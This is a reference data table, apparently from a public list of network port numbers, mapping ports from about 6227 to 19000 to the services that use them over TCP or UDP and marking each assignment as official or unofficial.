6227,Yes,,Oracle WebCenter Content Portable: JavaDB,Unofficial
|
||||
6240,Yes,,Oracle WebCenter Content Portable: Capture,Unofficial
|
||||
6244,Yes,Yes,Oracle WebCenter Content Portable: Content Server—Intradoc Socket port,Unofficial
|
||||
6255,Yes,Yes,Oracle WebCenter Content Portable: Inbound Refinery—Intradoc Socket port,Unofficial
|
||||
6257,,Yes,WinMX (see also 6699),Unofficial
|
||||
6260,Yes,Yes,planet M.U.L.E.,Unofficial
|
||||
6262,Yes,,Sybase Advantage Database Server,Unofficial
|
||||
6343,,Yes,"SFlow, sFlow traffic monitoring",Official
|
||||
6346,Yes,Yes,"gnutella-svc, gnutella (FrostWire, Limewire, Shareaza, etc.)",Official
|
||||
6347,Yes,Yes,"gnutella-rtr, Gnutella alternate",Official
|
||||
6350,Yes,Yes,App Discovery and Access Protocol,Official
|
||||
6379,Yes,,Redis key-value data store,Official
|
||||
6389,Yes,,EMC CLARiiON,Unofficial
|
||||
6432,Yes,,PgBouncer—A connection pooler for PostgreSQL,Official
|
||||
6436,Yes,,Leap Motion Websocket Server TLS,Unofficial
|
||||
6437,Yes,,Leap Motion Websocket Server,Unofficial
|
||||
6444,Yes,Yes,Sun Grid Engine Qmaster Service,Official
|
||||
6445,Yes,Yes,Sun Grid Engine Execution Service,Official
|
||||
6463–6472,Yes,,Discord RPC[225],Unofficial
|
||||
6464,Yes,Yes,Port assignment for medical device communication in accordance to IEEE 11073-20701,Official
|
||||
6502,Yes,Yes,Netop Remote Control,Unofficial
|
||||
6513,Yes,,NETCONF over TLS,Official
|
||||
6514,Yes,,Syslog over TLS[226],Official
|
||||
6515,Yes,Yes,Elipse RPC Protocol (REC),Official
|
||||
6543,Yes,,Pylons project#Pyramid Default Pylons Pyramid web service port,Unofficial
|
||||
6556,Yes,,Check MK Agent,Unofficial
|
||||
6566,Yes,,SANE (Scanner Access Now Easy)—SANE network scanner daemon[227],Official
|
||||
6560–6561,Yes,,Speech-Dispatcher daemon[citation needed],Unofficial
|
||||
6571,,,Windows Live FolderShare client,Unofficial
|
||||
6600,Yes,,Microsoft Hyper-V Live,Official
|
||||
6600,Yes,,Music Player Daemon (MPD),Unofficial
|
||||
6601,Yes,,Microsoft Forefront Threat Management Gateway,Official
|
||||
6602,Yes,,Microsoft Windows WSS Communication,Official
|
||||
6619,Yes,Yes,"odette-ftps, Odette File Transfer Protocol (OFTP) over TLS/SSL",Official
|
||||
6622,Yes,Yes,Multicast FTP,Official
|
||||
6653,Yes,Assigned,OpenFlow[citation needed],Official
|
||||
6660–6664,Yes,,Internet Relay Chat (IRC),Unofficial
|
||||
6665–6669,Yes,,Internet Relay Chat (IRC),Official
|
||||
6679,Yes,Yes,Osorno Automation Protocol (OSAUT),Official
|
||||
6679,Yes,,IRC SSL (Secure Internet Relay Chat)—often used,Unofficial
|
||||
6690,Yes,,Synology Cloud station,Unofficial
|
||||
6697,Yes,,IRC SSL (Secure Internet Relay Chat)—often used,Official
|
||||
6699,Yes,,WinMX (see also 6257),Unofficial
|
||||
6715,Yes,,AberMUD and derivatives default port,Unofficial
|
||||
6771,,Yes,BitTorrent Local Peer Discovery,Unofficial
|
||||
6783–6785,Yes,,Splashtop Remote server broadcast,Unofficial
|
||||
6789,Yes,,Campbell Scientific Loggernet Software[228],Unofficial
|
||||
6789,Yes,,Bucky's Instant Messaging Program,Unofficial
|
||||
6869,Yes,,Derandom default server,Unofficial
|
||||
6881–6887,Yes,Yes,BitTorrent part of full range of ports used most often,Unofficial
|
||||
6888,Yes,Yes,MUSE,Official
|
||||
6888,Yes,Yes,BitTorrent part of full range of ports used most often,Unofficial
|
||||
6889–6890,Yes,Yes,BitTorrent part of full range of ports used most often,Unofficial
|
||||
6891–6900,Yes,Yes,BitTorrent part of full range of ports used most often,Unofficial
|
||||
6891–6900,Yes,Yes,Windows Live Messenger (File transfer),Unofficial
|
||||
6901,Yes,Yes,Windows Live Messenger (Voice),Unofficial
|
||||
6901,Yes,Yes,BitTorrent part of full range of ports used most often,Unofficial
|
||||
6902–6968,Yes,Yes,BitTorrent part of full range of ports used most often,Unofficial
|
||||
6969,Yes,Yes,acmsoda,Official
|
||||
6969,Yes,,BitTorrent tracker,Unofficial
|
||||
6970–6999,Yes,Yes,BitTorrent part of full range of ports used most often,Unofficial
|
||||
6970–6999,,Yes,QuickTime Streaming Server[10],Unofficial
|
||||
7000,Yes,,Default for Vuze's built-in HTTPS Bittorrent Tracker,Unofficial
|
||||
7000,Yes,,Avira Server Management Console,Unofficial
|
||||
7001,Yes,,Avira Server Management Console,Unofficial
|
||||
7001,Yes,,"Default for BEA WebLogic Server's HTTP server, though often changed during installation",Unofficial
|
||||
7002,Yes,,"Default for BEA WebLogic Server's HTTPS server, though often changed during installation",Unofficial
|
||||
7005,Yes,,"Default for BMC Software Control-M/Server and Control-M/Agent for Agent-to-Server, though often changed during installation",Unofficial
|
||||
7006,Yes,,"Default for BMC Software Control-M/Server and Control-M/Agent for Server-to-Agent, though often changed during installation",Unofficial
|
||||
7010,Yes,,Default for Cisco AON AMC (AON Management Console)[229],Unofficial
|
||||
7022,Yes,,Database mirroring endpoints[230],Unofficial
|
||||
7023,,Yes,Bryan Wilcutt T2-NMCS Protocol for SatCom Modems,Official
|
||||
7025,Yes,,Zimbra LMTP [mailbox]—local mail delivery,Unofficial
|
||||
7047,Yes,,Zimbra conversion server,Unofficial
|
||||
7070,Yes,Yes/No,"Real Time Streaming Protocol (RTSP), used by QuickTime Streaming Server. TCP is used by default, UDP is used as an alternate.[10]",Unofficial
|
||||
7133,Yes,,Enemy Territory: Quake Wars,Unofficial
|
||||
7144,Yes,,Peercast[citation needed],Unofficial
|
||||
7145,Yes,,Peercast[citation needed],Unofficial
|
||||
7171,Yes,,Tibia,Unofficial
|
||||
7262,Yes,Yes,CNAP (Calypso Network Access Protocol),Official
|
||||
7272,Yes,Yes,WatchMe - WatchMe Monitoring,Official
|
||||
7306,Yes,,Zimbra mysql [mailbox][citation needed],Unofficial
|
||||
7307,Yes,,Zimbra mysql [logger][citation needed],Unofficial
|
||||
7312,,Yes,Sibelius License Server,Unofficial
|
||||
7396,Yes,,Web control interface for Folding@home v7.3.6 and later[231],Unofficial
|
||||
7400,Yes,Yes,RTPS (Real Time Publish Subscribe) DDS Discovery,Official
|
||||
7401,Yes,Yes,RTPS (Real Time Publish Subscribe) DDS User-Traffic,Official
|
||||
7402,Yes,Yes,RTPS (Real Time Publish Subscribe) DDS Meta-Traffic,Official
|
||||
7471,Yes,,Stateless Transport Tunneling (STT),Unofficial
|
||||
7473,Yes,,Rise: The Vieneo Province,Official
|
||||
7474,Yes,,Neo4J Server webadmin[232],Official
|
||||
7478,Yes,,Default port used by Open iT Server.[233],Official
|
||||
7542,Yes,Yes,Saratoga file transfer protocol[234][235],Official
|
||||
7547,Yes,Yes,CPE WAN Management Protocol (CWMP) Technical Report 069,Official
|
||||
7575,,Yes,Populous: The Beginning server,Unofficial
|
||||
7624,Yes,Yes,Instrument Neutral Distributed Interface,Official
|
||||
7631,Yes,,ERLPhase,Official
|
||||
7634,Yes,,hddtemp—Utility to monitor hard drive temperature,Unofficial
|
||||
7652–7654,Yes,,I2P anonymizing overlay network,Unofficial
|
||||
7655,,Yes,I2P SAM Bridge Socket API,Unofficial
|
||||
7656–7660,Yes,,I2P anonymizing overlay network,Unofficial
|
||||
7670,Yes,,BrettspielWelt BSW Boardgame Portal,Unofficial
|
||||
7687,Yes,,Bolt database connection,Official
|
||||
7707–7708,,Yes,Killing Floor,Unofficial
|
||||
7717,,Yes,Killing Floor,Unofficial
|
||||
7777,Yes,,iChat server file transfer proxy[10],Unofficial
|
||||
7777,Yes,,Oracle Cluster File System 2[citation needed],Unofficial
|
||||
7777,Yes,,Windows backdoor program tini.exe default[citation needed],Unofficial
|
||||
7777,Yes,,Just Cause 2: Multiplayer Mod Server[citation needed],Unofficial
|
||||
7777,Yes,,Terraria default server,Unofficial
|
||||
7777,,Yes,San Andreas Multiplayer (SA-MP) default port server,Unofficial
|
||||
7777–7788,Yes,Yes,Unreal Tournament series default server[citation needed],Unofficial
|
||||
7831,Yes,,Default used by Smartlaunch Internet Cafe Administration[236] software,Unofficial
|
||||
7880,Yes,Yes,PowerSchool Gradebook Server[citation needed],Unofficial
|
||||
7890,Yes,,Default that will be used by the iControl Internet Cafe Suite Administration software,Unofficial
|
||||
7915,Yes,,Default for YSFlight server[237],Unofficial
|
||||
7935,Yes,,"Fixed port used for Adobe Flash Debug Player to communicate with a debugger (Flash IDE, Flex Builder or fdb).[238]",Unofficial
|
||||
7946,Yes,Yes,Docker Swarm communication among nodes[151],Unofficial
|
||||
7990,Yes,,Atlassian Bitbucket (default port)[citation needed],Unofficial
|
||||
8000,Yes,,"Commonly used for Internet radio streams such as SHOUTcast[citation needed], Icecast[citation needed] and iTunes Radio[10]",Unofficial
|
||||
8000,?,?,DynamoDB Local[239],Unofficial
|
||||
8000,?,?,Django Development Webserver[240],Unofficial
|
||||
8005,Yes,,Tomcat remote shutdown[10],Unofficial
|
||||
8006,Yes,,Quest AppAssure 5 API[241],Unofficial
|
||||
8007,Yes,,Quest AppAssure 5 Engine[241],Unofficial
|
||||
8008,Yes,Yes,Alternative port for HTTP. See also ports 80 and 8080.,Official
|
||||
8008,Yes,,IBM HTTP Server administration default[importance?],Unofficial
|
||||
8008,Yes,,"iCal, a calendar application by Apple[10]",Unofficial
|
||||
8009,Yes,,Apache JServ Protocol (ajp13)[citation needed],Unofficial
|
||||
8010,Yes,?,Buildbot Web status page[citation needed],Unofficial
|
||||
8042,?,?,Orthanc – REST API over HTTP[180],Unofficial
|
||||
8069,Yes,,OpenERP 5.0 XML-RPC protocol[242],Unofficial
|
||||
8070,Yes,,OpenERP 5.0 NET-RPC protocol[242],Unofficial
|
||||
8074,Yes,Yes,Gadu-Gadu,Official
|
||||
8075,Yes,,Killing Floor web administration interface[citation needed],Unofficial
|
||||
8080,Yes,Yes,Alternative port for HTTP. See also ports 80 and 8008.,Official
|
||||
8080,Yes,,Apache Tomcat[243],Unofficial
|
||||
8080,Yes,,Atlassian JIRA applications[244],Unofficial
|
||||
8088,Yes,,Asterisk management access via HTTP[citation needed],Unofficial
|
||||
8089,Yes,No,Splunk daemon management[245],Unofficial
|
||||
8089,Yes,,Fritz!Box automatic TR-069 configuration[246],Unofficial
|
||||
8090,?,?,Atlassian Confluence[247],Unofficial
|
||||
8090,Yes,,Coral Content Distribution Network (legacy; 80 and 8080 now supported)[248],Unofficial
|
||||
8091,?,?,CouchBase web administration[249],Unofficial
|
||||
8092,?,?,CouchBase API[249],Unofficial
|
||||
8111,Yes,,JOSM Remote Control,Unofficial
|
||||
8112,Yes,,PAC Pacifica Coin,Unofficial
|
||||
8116,,Yes,Check Point Cluster Control Protocol,Unofficial
|
||||
8118,Yes,,Privoxy—advertisement-filtering Web proxy,Official
|
||||
8123,Yes,,Polipo Web proxy,Official
|
||||
8139,Yes,,Puppet (software) Client agent,Unofficial
|
||||
8140,Yes,,Puppet (software) Master server,Official
|
||||
8172,Yes,,Microsoft Remote Administration for IIS Manager[250],Unofficial
|
||||
8184,Yes,,NCSA Brown Dog Data Access Proxy,Unofficial
|
||||
8194–8195,?,?,Bloomberg Terminal[251],Official
|
||||
8200,Yes,,GoToMyPC,Unofficial
|
||||
8200,Yes,,MiniDLNA media server Web Interface,Unofficial
|
||||
8222,?,?,VMware VI Web Access via HTTP[252],Unofficial
|
||||
8243,Yes,Yes,HTTPS listener for Apache Synapse[253],Official
|
||||
8245,Yes,,Dynamic DNS for at least No-IP and DyDNS[254],Unofficial
|
||||
8280,Yes,Yes,HTTP listener for Apache Synapse[253],Official
|
||||
8281,Yes,,HTTP Listener for Gatecraft Plugin,Unofficial
|
||||
8291,Yes,,Winbox—Default on a MikroTik RouterOS for a Windows application used to administer MikroTik RouterOS[255],Unofficial
|
||||
8303,,Yes,Teeworlds Server,Unofficial
|
||||
8332,Yes,,Bitcoin JSON-RPC server[256],Unofficial
|
||||
8333,Yes,,Bitcoin[257],Unofficial
|
||||
8333,?,?,VMware VI Web Access via HTTPS[252],Unofficial
|
||||
8337,Yes,,VisualSVN Distributed File System Service (VDFS)[258],Unofficial
|
||||
8384,Yes,,Syncthing web GUI,Unofficial
|
||||
8388,Yes,,Shadowsocks proxy server[citation needed],Unofficial
|
||||
8443,Yes,,SW Soft Plesk Control Panel,Unofficial
|
||||
8443,Yes,,Apache Tomcat SSL,Unofficial
|
||||
8443,Yes,,Promise WebPAM SSL,Unofficial
|
||||
8443,Yes,,iCal over SSL[10],Unofficial
|
||||
8444,Yes,,Bitmessage,Unofficial
|
||||
8484,Yes,,MapleStory Login Server,Unofficial
|
||||
8500,Yes,,Adobe ColdFusion built-in web server[259],Unofficial
|
||||
8530,?,?,Windows Server Update Services over HTTP[260][further explanation needed][261],Unofficial
|
||||
8531,?,?,Windows Server Update Services over HTTPS[261][further explanation needed][260],Unofficial
|
||||
8580,?,?,"Freegate, an Internet anonymizer and proxy tool[262]",Unofficial
|
||||
8629,Yes,,Tibero database[citation needed],Unofficial
|
||||
8642,Yes,,Lotus Notes Traveler auto synchronization for Windows Mobile and Nokia devices[263],Unofficial
|
||||
8691,Yes,,"Ultra Fractal, a fractal generation and rendering software application – distributed calculations over networked computers[264][265]",Unofficial
|
||||
8765,?,?,Default port of a local GUN relay peer that the Internet Archive[266] and others use as a decentralized mirror for censorship resistance.[267][importance?],Unofficial
|
||||
8767,,Yes,"Voice channel of TeamSpeak 2,[268] a proprietary Voice over IP protocol targeted at gamers[citation needed]",Unofficial
|
||||
8834,?,?,"Nessus, a vulnerability scanner – remote XML-RPC web server[269][third-party source needed]",Unofficial
|
||||
8840,?,?,"Opera Unite, an extensible framework for web applications[270][271]",Unofficial
|
||||
8880,Yes,,"Alternate port of CDDB (Compact Disc Database) protocol, used to look up audio CD (compact disc) information over the Internet.[272] See also port 888.",Official
|
||||
8880,?,?,IBM WebSphere Application Server SOAP connector[273][jargon],Unofficial
|
||||
8883,Yes,Yes,Secure MQTT (MQTT over TLS)[274][275],Official
|
||||
8887,?,?,HyperVM over HTTP[citation needed],Unofficial
|
||||
8888,?,?,HyperVM over HTTPS[citation needed],Unofficial
|
||||
8888,?,Yes,Freenet web UI (localhost only)[citation needed],Unofficial
|
||||
8888,?,?,Default for IPython[276] / Jupyter[277] notebook dashboards,Unofficial
|
||||
8888,?,?,MAMP[278],Unofficial
|
||||
8889,?,?,MAMP[278],Unofficial
|
||||
8983,?,?,Apache Solr[279],Unofficial
|
||||
8997,?,?,Alternate port for I2P Monotone Proxy[160][jargon],Unofficial
|
||||
8998,?,?,I2P Monotone Proxy[160][jargon],Unofficial
|
||||
8999,?,?,Alternate port for I2P Monotone Proxy[160][jargon],Unofficial
|
||||
9000,Yes,,SonarQube Web Server[280],Unofficial
|
||||
9000,Yes,,DBGp,Unofficial
|
||||
9000,Yes,,SqueezeCenter web server & streaming,Unofficial
|
||||
9000,,Yes,UDPCast,Unofficial
|
||||
9000,Yes,,Play! Framework web server[281],Unofficial
|
||||
9000,Yes,,Hadoop NameNode default port,Unofficial
|
||||
9000,Yes,,PHP-FPM default port,Unofficial
|
||||
9000,Yes,,QBittorrent's embedded torrent tracker default port[282],Unofficial
|
||||
9001,Yes,Yes,ETL Service Manager[283],Official
|
||||
9001,,,Microsoft SharePoint authoring environment,Unofficial
|
||||
9001,,,cisco-xremote router configuration[citation needed],Unofficial
|
||||
9001,,,Tor network default,Unofficial
|
||||
9001,Yes,,DBGp Proxy,Unofficial
|
||||
9001,Yes,,HSQLDB default port,Unofficial
|
||||
9002,,,Newforma Server comms,Unofficial
|
||||
9006,,,De-Commissioned Port,Official
|
||||
9006,Yes,,Tomcat in standalone mode[10],Unofficial
|
||||
9030,Yes,,Tor often used,Unofficial
|
||||
9042,Yes,,Apache Cassandra native protocol clients,Unofficial
|
||||
9043,Yes,,WebSphere Application Server Administration Console secure,Unofficial
|
||||
9050–9051,Yes,,Tor,Unofficial
|
||||
9060,Yes,,WebSphere Application Server Administration Console,Unofficial
|
||||
9080,Yes,Yes,"glrpc, Groove Collaboration software GLRPC",Official
|
||||
9080,Yes,,WebSphere Application Server HTTP Transport (port 1) default,Unofficial
|
||||
9080,Yes,,"Remote Potato by FatAttitude, Windows Media Center addon",Unofficial
|
||||
9080,Yes,,"ServerWMC, Windows Media Center addon",Unofficial
|
||||
9090,Yes,,Openfire Administration Console,Unofficial
|
||||
9090,Yes,,SqueezeCenter control (CLI),Unofficial
|
||||
9090,Yes,,Cherokee Admin Panel,Unofficial
|
||||
9091,Yes,,Openfire Administration Console (SSL Secured),Unofficial
|
||||
9091,Yes,,Transmission (BitTorrent client) Web Interface,Unofficial
|
||||
9092,Yes,,H2 (DBMS) Database Server,Unofficial
|
||||
9092,Yes,,Apache Kafka A Distributed Streaming Platform[284],Unofficial
|
||||
9100,Yes,Assigned,"PDL Data Stream, used for printing to certain network printers[10]",Official
|
||||
9101,Yes,Yes,Bacula Director,Official
|
||||
9102,Yes,Yes,Bacula File Daemon,Official
|
||||
9103,Yes,Yes,Bacula Storage Daemon,Official
|
||||
9119,Yes,Yes,MXit Instant Messenger,Official
|
||||
9150,Yes,,Tor,Unofficial
|
||||
9191,Yes,,Sierra Wireless Airlink,Unofficial
|
||||
9199,Yes,,Avtex LLC—qStats,Unofficial
|
||||
9200,Yes,,Elasticsearch[285]—default Elasticsearch port,Unofficial
|
||||
9217,Yes,,iPass Platform Service,Unofficial
|
||||
9293,Yes,,Sony PlayStation RemotePlay[286],Unofficial
|
||||
9300,Yes,,IBM Cognos BI[citation needed],Unofficial
|
||||
9303,,Yes,D-Link Shareport Share storage and MFP printers[citation needed],Unofficial
|
||||
9306,Yes,,Sphinx Native API,Official
|
||||
9309,Yes,Yes,Sony PlayStation Vita Host Collaboration WiFi Data Transfer[287],Unofficial
|
||||
9312,Yes,,Sphinx SphinxQL,Official
|
||||
9332,Yes,,Litecoin JSON-RPC server,Unofficial
|
||||
9333,Yes,,Litecoin,Unofficial
|
||||
9339,Yes,,"Clash of Clans, a mobile freemium strategy video game",Unofficial
|
||||
9389,Yes,Yes,"adws, Microsoft AD DS Web Services, Powershell uses this port",Official
|
||||
9418,Yes,Yes,"git, Git pack transfer service",Official
|
||||
9419,Yes,,MooseFS distributed file system – master control port[288],Unofficial
|
||||
9420,Yes,,MooseFS distributed file system – master command port[288],Unofficial
|
||||
9421,Yes,,MooseFS distributed file system – master client port[288],Unofficial
|
||||
9422,Yes,,MooseFS distributed file system – Chunkservers[288],Unofficial
|
||||
9425,Yes,,MooseFS distributed file system – CGI server[288],Unofficial
|
||||
9443,Yes,,VMware Websense Triton console (HTTPS port used for accessing and administrating a vCenter Server via the Web Management Interface),Unofficial
|
||||
9443,Yes,,NCSA Brown Dog Data Tilling Service,Unofficial
|
||||
9535,Yes,Yes,"mngsuite, LANDesk Management Suite Remote Control",Official
|
||||
9536,Yes,Yes,"laes-bf, IP Fabrics Surveillance buffering function",Official
|
||||
9600,No,Yes,"Factory Interface Network Service (FINS), a network protocol used by Omron programmable logic controllers[citation needed]",Unofficial
|
||||
9675,Yes,Yes,"Spiceworks Desktop, IT Helpdesk Software",Unofficial
|
||||
9676,Yes,Yes,"Spiceworks Desktop, IT Helpdesk Software",Unofficial
|
||||
9695,?,?,"Content centric networking (CCN, CCNx)[citation needed]",Official
|
||||
9785,Yes,Yes,Viber[182],Unofficial
|
||||
9800,Yes,Yes,WebDAV Source,Official
|
||||
9800,,,WebCT e-learning portal,Unofficial
|
||||
9875,Yes,,Club Penguin Disney online game for kids,Unofficial
|
||||
9898,Yes,,Tripwire—File Integrity Monitoring Software[289],Unofficial
|
||||
9899,,Yes,"SCTP tunneling (port number used in SCTP packets encapsulated in UDP, RFC 6951)",Official
|
||||
9981,Yes,,TVHeadend HTTP server (web interface)[290],Unofficial
|
||||
9982,Yes,,TVHeadend HTSP server (Streaming protocol)[290],Unofficial
|
||||
9987,,Yes,TeamSpeak 3 server default (voice) port (for the conflicting service see the IANA list),Unofficial
|
||||
9993,,Yes,ZeroTier Default port for ZeroTier,Unofficial
|
||||
9997,Yes,,Splunk port for communication between the forwarders and indexers,Unofficial
|
||||
9999,,,Urchin Web Analytics[citation needed],Unofficial
|
||||
10000,Yes,Yes,Network Data Management Protocol,Official
|
||||
10000,,,BackupExec,Unofficial
|
||||
10000,,,"Webmin, Web-based Unix/Linux system administration tool (default port)",Unofficial
|
||||
10000–20000,No,Yes,Used on VoIP networks for receiving and transmitting voice telephony traffic which includes Google Voice via the OBiTalk ATA devices as well as on the MagicJack and Vonage ATA network devices.[291],Unofficial
|
||||
10001,,Yes,Ubiquiti UniFi access points broadcast to 255.255.255.255:10001 (UDP) to locate the controller(s),Unofficial
|
||||
10009,Yes,Yes,"CrossFire, a multiplayer online First Person Shooter[citation needed]",Unofficial
|
||||
10010,Yes,,Open Object Rexx (ooRexx) rxapi daemon,Official
|
||||
10024,Yes,,Zimbra smtp [mta]—to amavis from postfix[citation needed],Unofficial
|
||||
10025,Yes,,Zimbra smtp [mta]—back to postfix from amavis[citation needed],Unofficial
|
||||
10042,Yes,,Mathoid server[citation needed],Unofficial
|
||||
10050,Yes,Yes,Zabbix agent,Official
|
||||
10051,Yes,Yes,Zabbix trapper,Official
|
||||
10080,Yes,,"Touhou fight games (Immaterial and Missing Power, Scarlet Weather Rhapsody, Hisoutensoku, Hopeless Masquerade and Urban Legend in Limbo)",Unofficial
|
||||
10110,Yes,Yes,NMEA 0183 Navigational Data. Transport of NMEA 0183 sentences over TCP or UDP,Official
|
||||
10172,Yes,,Intuit Quickbooks client,Unofficial
|
||||
10200,Yes,,FRISK Software International's fpscand virus scanning daemon for Unix platforms[292],Unofficial
|
||||
10200,Yes,,FRISK Software International's f-protd virus scanning daemon for Unix platforms[293],Unofficial
|
||||
10201–10204,Yes,,FRISK Software International's f-protd virus scanning daemon for Unix platforms[293],Unofficial
|
||||
10212,Yes,,GE Intelligent Platforms Proficy HMI/SCADA – CIMPLICITY WebView[294],Official
|
||||
10308,?,?,Lock On: Modern Air Combat[citation needed],Unofficial
|
||||
10480,?,?,SWAT 4 Dedicated Server[citation needed],Unofficial
|
||||
10505,,Yes,BlueStacks (android simulator) broadcast[295],Unofficial
|
||||
10514,Yes,Yes,TLS-enabled Rsyslog (default by convention),Unofficial
|
||||
10823,,Yes,Farming Simulator 2011[citation needed],Unofficial
|
||||
10891,Yes,,Jungle Disk (this port is opened by the Jungle Disk Monitor service on the localhost)[citation needed],Unofficial
|
||||
10933,Yes,,Listen port used by the Octopus Deploy Tentacle deployment agent[296][297],Official
|
||||
11001,Yes,Yes,metasys ( Johnson Controls Metasys java AC control environment ),Official
|
||||
11111,Yes,,"RiCcI, Remote Configuration Interface (Redhat Linux)",Unofficial
|
||||
11112,Yes,Yes,ACR/NEMA Digital Imaging and Communications in Medicine (DICOM),Official
|
||||
11211,Yes,Yes,memcached[10],Unofficial
|
||||
11214,Yes,Yes,memcached incoming SSL proxy,Unofficial
|
||||
11215,Yes,Yes,memcached internal outgoing SSL proxy,Unofficial
|
||||
11235,,,Savage: Battle for Newerth[citation needed],Unofficial
|
||||
11311,Yes,Yes,Robot Operating System master,Unofficial
|
||||
11371,Yes,Yes,OpenPGP HTTP key server,Official
|
||||
11753,Yes,,OpenRCT2 multiplayer[298],Unofficial
|
||||
12012,,Yes,"Audition Online Dance Battle, Korea Server—Status/Version Check",Unofficial
|
||||
12013,Yes,Yes,"Audition Online Dance Battle, Korea Server",Unofficial
|
||||
12035,,Yes,"Second Life, used for server UDP in-bound[299]",Unofficial
|
||||
12043,Yes,,"Second Life, used for LSL HTTPS in-bound[300]",Unofficial
|
||||
12046,Yes,,"Second Life, used for LSL HTTP in-bound[300]",Unofficial
|
||||
12201,Yes,Yes,Graylog Extended Log Format (GELF)[301][importance?],Unofficial
|
||||
12222,,Yes,Light Weight Access Point Protocol (LWAPP) LWAPP data (RFC 5412),Official
|
||||
12223,,Yes,Light Weight Access Point Protocol (LWAPP) LWAPP control (RFC 5412),Official
|
||||
12345,Yes,Yes,Cube World[302],Unofficial
|
||||
12345,Yes,,Little Fighter 2,Unofficial
|
||||
12345,,,NetBus remote administration tool (often Trojan horse).,Unofficial
|
||||
12443,Yes,,IBM HMC web browser management access over HTTPS instead of default port 443[303],Unofficial
|
||||
12489,Yes,,NSClient/NSClient++/NC_Net (Nagios),Unofficial
|
||||
12975,Yes,,LogMeIn Hamachi (VPN tunnel software; also port 32976)—used to connect to Mediation Server (bibi.hamachi.cc); will attempt to use SSL (TCP port 443) if both 12975 & 32976 fail to connect,Unofficial
|
||||
13000–13050,,Yes,"Second Life, used for server UDP in-bound[299]",Unofficial
|
||||
13008,Yes,Yes,"CrossFire, a multiplayer online First Person Shooter[citation needed]",Unofficial
|
||||
13075,Yes,,"Default[304] for BMC Software Control-M/Enterprise Manager Corba communication, though often changed during installation",Official
|
||||
13720,Yes,Yes,Symantec NetBackup—bprd (formerly VERITAS),Official
|
||||
13721,Yes,Yes,Symantec NetBackup—bpdbm (formerly VERITAS),Official
|
||||
13724,Yes,Yes,Symantec Network Utility—vnetd (formerly VERITAS),Official
|
||||
13782,Yes,Yes,Symantec NetBackup—bpcd (formerly VERITAS),Official
|
||||
13783,Yes,Yes,Symantec VOPIED protocol (formerly VERITAS),Official
|
||||
13785,Yes,Yes,Symantec NetBackup Database—nbdb (formerly VERITAS),Official
|
||||
13786,Yes,Yes,Symantec nomdb (formerly VERITAS),Official
|
||||
14550,,Yes,MAVLink Ground Station Port,Unofficial
|
||||
14567,,Yes,Battlefield 1942 and mods,Unofficial
|
||||
15000,Yes,,psyBNC,Unofficial
|
||||
15000,Yes,,Wesnoth,Unofficial
|
||||
15000,Yes,,Kaspersky Network Agent[citation needed],Unofficial
|
||||
15441,?,?,ZeroNet fileserver[citation needed],Unofficial
|
||||
15567,,Yes,Battlefield Vietnam and mods,Unofficial
|
||||
15345,Yes,Yes,XPilot Contact,Official
|
||||
15672,Yes,No,RabbitMQ management plugin[305],Unofficial
|
||||
16000,Yes,,Oracle WebCenter Content: Imaging (formerly known as Oracle Universal Content Management). Port though often changed during installation,Unofficial
|
||||
16000,Yes,,shroudBNC,Unofficial
|
||||
16080,Yes,,Mac OS X Server Web (HTTP) service with performance cache[306],Unofficial
|
||||
16200,Yes,,Oracle WebCenter Content: Content Server (formerly known as Oracle Universal Content Management). Port though often changed during installation,Unofficial
|
||||
16225,Yes,,Oracle WebCenter Content: Content Server Web UI. Port though often changed during installation,Unofficial
|
||||
16250,Yes,,Oracle WebCenter Content: Inbound Refinery (formerly known as Oracle Universal Content Management). Port though often changed during installation,Unofficial
|
||||
16261,Yes,Yes,Project Zomboid multiplayer. Additional sequential ports used for each player connecting to server.[citation needed],Unofficial
|
||||
16300,Yes,,Oracle WebCenter Content: Records Management (formerly known as Oracle Universal Records Management). Port though often changed during installation,Unofficial
|
||||
16384,,Yes,CISCO Default RTP MIN,Unofficial
|
||||
16384-16403,,Yes,"Real-time Transport Protocol (RTP), RTP Control Protocol (RTCP), used by Apple's iChat for audio and video[10]",Unofficial
|
||||
16384-16387,,Yes,"Real-time Transport Protocol (RTP), RTP Control Protocol (RTCP), used by Apple's FaceTime and Game Center[10]",Unofficial
|
||||
16393-16402,,Yes,"Real-time Transport Protocol (RTP), RTP Control Protocol (RTCP), used by Apple's FaceTime and Game Center[10]",Unofficial
|
||||
16403-16472,,Yes,"Real-time Transport Protocol (RTP), RTP Control Protocol (RTCP), used by Apple's Game Center[10]",Unofficial
|
||||
16400,Yes,,Oracle WebCenter Content: Capture (formerly known as Oracle Document Capture). Port though often changed during installation,Unofficial
|
||||
16482,,,CISCO Default RTP MAX,Official
|
||||
16567,,Yes,Battlefield 2 and mods,Unofficial
|
||||
17011,Yes,,Worms multiplayer,Unofficial
|
||||
17500,Yes,Yes,Dropbox LanSync Protocol (db-lsp); used to synchronize file catalogs between Dropbox clients on a local network.,Official
|
||||
18080,Yes,No,Monero P2P network communications[citation needed],Unofficial
|
||||
18081,Yes,No,Monero incoming RPC calls[citation needed],Unofficial
|
||||
18091,Yes,Yes,memcached Internal REST HTTPS for SSL,Unofficial
|
||||
18092,Yes,Yes,memcached Internal CAPI HTTPS for SSL,Unofficial
|
||||
18104,Yes,,RAD PDF Service,Official
|
||||
18200,Yes,Yes,"Audition Online Dance Battle, AsiaSoft Thailand Server status/version check",Unofficial
|
||||
18201,Yes,Yes,"Audition Online Dance Battle, AsiaSoft Thailand Server",Unofficial
|
||||
18206,Yes,Yes,"Audition Online Dance Battle, AsiaSoft Thailand Server FAM database",Unofficial
|
||||
18300,Yes,Yes,"Audition Online Dance Battle, AsiaSoft SEA Server status/version check",Unofficial
|
||||
18301,Yes,Yes,"Audition Online Dance Battle, AsiaSoft SEA Server",Unofficial
|
||||
18306,Yes,Yes,"Audition Online Dance Battle, AsiaSoft SEA Server FAM database",Unofficial
|
||||
18333,Yes,,Bitcoin testnet[257],Unofficial
|
||||
18400,Yes,Yes,"Audition Online Dance Battle, KAIZEN Brazil Server status/version check",Unofficial
|
||||
18401,Yes,Yes,"Audition Online Dance Battle, KAIZEN Brazil Server",Unofficial
|
||||
18505,Yes,Yes,"Audition Online Dance Battle R4p3 Server, Nexon Server status/version check",Unofficial
|
||||
18506,Yes,Yes,"Audition Online Dance Battle, Nexon Server",Unofficial
|
||||
18605,Yes,Yes,X-BEAT status/version check,Unofficial
|
||||
18606,Yes,Yes,X-BEAT,Unofficial
|
||||
19000,Yes,Yes,"Audition Online Dance Battle, G10/alaplaya Server status/version check",Unofficial
|
||||
19000,,Yes,JACK sound server,Unofficial
|
||||
